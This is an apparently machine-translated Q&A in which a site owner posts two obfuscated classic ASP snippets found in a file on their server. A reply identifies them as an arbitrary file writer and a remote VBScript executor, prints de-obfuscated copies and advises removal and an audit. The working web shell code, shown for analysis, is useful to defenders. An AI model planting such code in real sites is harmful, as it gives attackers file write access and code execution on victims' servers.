这个ASP代码有什么作用?

POI*_*OIR -1 asp-classic

我在服务器中找到了一个名为foot.asp的文件,其中包含此代码.

这段代码做了什么:

<span>&nbsp;</span>
<%set s=server.createObject("A"&"do"&"db.St"&"re"&"am")%> 
<%s.Type=2%> 
<%s.Open%> 
<%s.CharSet="utf-8"%> 
<%s.writetext request("hkfox360")%> 
<%s.SaveToFile request("tofile"),2%> 
<%s.Close%> 
<%set s=nothing%>
Run Code Online (Sandbox Code Playgroud)

另一个代码:

<a>&nbsp;</a>
<% 
Set o = Server.CreateObject("Sc"&"ri"&"ptC"&"ont"&"rol") 
o.language = "vb"&"scr"&"i"&"pt" 
o.addcode(Request("Sj"&"C"&"od"&"e"))
o.run "e",Server,Response,Request,Application,Session,Error
%>
Run Code Online (Sandbox Code Playgroud)

Lan*_*art 5

如果您不知道这些文件来自哪里,您应该认为您的网站已经令人沮丧.

有许多工具可供那些希望对安全性较差的网站造成严重破坏的脚本小子,他们检查常见的安全漏洞和不良做法,使网站容易受到攻击,例如SQL注入.

在您的特定情况下,文件已保存到您的服务器上,似乎正在收集信息.

代码段1 (没有用于否定扫描仪的串联)

<span>&nbsp;</span>
<%set s=server.createObject("Adodb.Stream")%> 
<%s.Type=2%> 
<%s.Open%> 
<%s.CharSet="utf-8"%> 
<%s.writetext request("hkfox360")%> 
<%s.SaveToFile request("tofile"),2%> 
<%s.Close%> 
<%set s=nothing%>
Run Code Online (Sandbox Code Playgroud)

使用ADODB.Stream对象将内容写入Request("hkfox360")Request("tofile")值定义的文件中.这表明必须有一个"客户端脚本"元素才能将信息发布到服务器上的此文件中.

代码段2 (没有用于否定扫描仪的串联)

<a>&nbsp;</a>
<% 
Set o = Server.CreateObject("ScriptControl") 
o.language = "vbscript" 
o.addcode(Request("SjCode"))
o.run "e",Server,Response,Request,Application,Session,Error
%>
Run Code Online (Sandbox Code Playgroud)

使用Microsoft ScriptControl执行被称为Sub过程e并传递参数Server,Response,Request,Application,SessionError对象基本上给他们他们可能从您的网站的应用程序希望每一个方面.

我的建议是删除这些文件(我至少会将它们移动到一个安全的位置,以便对它们进行分析)然后进行安全审核来研究网站的入侵方式.